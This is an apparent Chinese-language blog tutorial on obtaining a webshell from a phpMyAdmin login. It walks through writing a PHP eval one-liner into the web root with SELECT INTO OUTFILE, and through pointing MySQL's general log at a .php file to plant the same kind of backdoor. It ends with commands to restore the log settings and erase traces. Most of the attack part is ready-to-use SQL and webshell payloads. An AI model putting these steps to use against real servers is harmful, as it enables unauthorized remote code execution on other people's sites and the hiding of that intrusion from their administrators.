phpmyadmin頁面getshell

前言

 

來到phpmyadmin頁面後如何getshell呢?下面介紹兩種方法

 

 

 

 

一、select into outfile直接寫入

 

1、利用條件

 

  • 對web目錄需要有寫許可權能夠使用單引號(root)

  • 知道網站絕對路徑(phpinfo/php探針/通過報錯等)

  • secure_file_priv沒有具體值

 

2、查看secure_file_priv值

 

show global variables like '%secure%';

 

 

關於secure_file_priv配置介紹:

 

secure_file_priv 是用來限制 load dumpfile、into outfile、load_file() 函數在哪個目錄下擁有上傳或者讀取文件的許可權

 

當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導入|導出,此時無法提權
當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權
當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權

 

我這裡的secure_file_priv值為NULL,所以不能夠導入或導出

 

 

secure_file_priv這個值是只讀變數,只能通過配置文件修改。如果管理員沒有配置,那麼我們是無法進行寫入shell的,這裡我為了測試能否寫入修改一下

 

在MySQL的配置文件my.ini中進行配置:

 

 

 

 

修改後secure_file_priv的值如圖所示:

 

 

3、寫入一句話

 

select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'

 

這裡需要注意的一個點是路徑需要用”\\”

 

 

查看下根目錄

 

 

 

 

二、利用全局日誌寫shell

 

1、查看配置

 

查看mysql的日誌狀態,默認是關閉的,因為這個日誌的量非常大對資源是一個比較大的開銷

 

SHOW VARIABLES LIKE ‘%general%’

 

general_log_file為日誌保存的位置

 

 

2、開啟general_log模式

 

開啟general_log 的作用:開啟它可以記錄用戶輸入的每條命令,會把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其實就是我們常說的日誌文件

利用思路:開啟general_log之後把general_log_file的值修改為該網站默認路徑下的某一個自定義的php文件中,然後通過log日誌進行寫入一句話木馬,然後再進一步利用

這裡注意:在修改log路徑前,源路徑一定要提前記錄下來,我們獲取shell後還要恢復原來的路徑

 

set global general_log = on;

 

 

再查看一下日誌已經開啟,這時我們就可以通過全局日誌寫shell進根目錄

 

 

3、修改日誌目錄為shell地址

 

set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';

 

 

4.寫入shell

 

 

因為開啟了日誌記錄功能,所執行的sql語句都會被記錄在日誌中

 

select '<?php eval($_POST[cmd]);?>'

 

 

查看下日誌,發現sql語句已經被記錄到了日誌中,直接用菜刀或者蟻劍連接即可

 

 

 

 

5.抹除痕迹

 

set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
set global general_log = off;

 

 

 

 

 

再使用日誌查看命令發現已經恢復

 

SHOW VARIABLES LIKE '%general%'

 

 
Tags: